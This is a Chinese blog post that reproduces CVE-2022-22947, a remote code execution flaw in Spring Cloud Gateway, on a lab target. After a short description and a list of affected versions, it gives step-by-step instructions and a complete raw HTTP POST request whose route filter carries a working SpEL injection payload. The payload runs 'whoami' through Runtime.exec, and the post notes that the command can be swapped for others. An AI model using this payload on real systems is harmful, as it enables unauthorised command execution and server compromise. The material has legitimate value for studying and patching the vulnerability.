SpringCloudGateway远程代码执行漏洞(CVE-2022-22947)

博客 分享
0 264
张三
张三 2022-03-08 00:56:14
悬赏:0 积分 收藏

Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)

参考:

https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response
https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

漏洞描述

  使用Spring Cloud Gateway的应用程序在Actuator端点在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可以恶意创建允许在远程主机上执行任意远程执行的请求。

影响版本

Spring Cloud Gateway < 3.1.1Spring Cloud Gateway < 3.0.7Spring Cloud Gateway 其他已不再更新的版本

复现

  1. 首先访问vulfocus中的靶场。

  2.  抓包,修改GET请求的参数

   说明actuator这个端口是开启的。

   3. 查看/actuator/gateway/routes/

   返回的路由信息,意思是当访问index时,路由到http://example.com:80

   访问test时,路由到http://test.com:80

  4. 利用actuator在网关中可以创建和删除路由。

   首先创建路由。注意是POST请求,

   Content-Type: application/json这里要修改为json。请求体中的内容是创建test3路由,让他去执行我们的whoami命令,这里我们可以修改为其他命令。
POST /actuator/gateway/routes/test3 HTTP/1.1Host: 150.158.155.71:38031User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMTIf-None-Match: "3147526947"Cache-Control: max-age=0Content-Type: application/jsonContent-Length: 431{    "id": "test3",    "filters": [        {            "name": "AddResponseHeader",            "args": {                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",                "name": "cmd"            }        }    ],    "uri": "http://example.com:80",    "order": 0}

   5. 刷新路由。

   6. 访问我们创建的路由信息。

   7. 删除自己创建的路由,用DELETE请求。

   8. 刷新一下,之后就发现已经被删除了。

 

 

 

 

 

 

 

posted @ 2022-03-08 00:09 三亿人 阅读(5) 评论(0) 编辑 收藏 举报
回帖
    张三

    张三 (王者 段位)

    821 积分 (2)粉丝 (41)源码

     

    温馨提示

    亦奇源码

    最新会员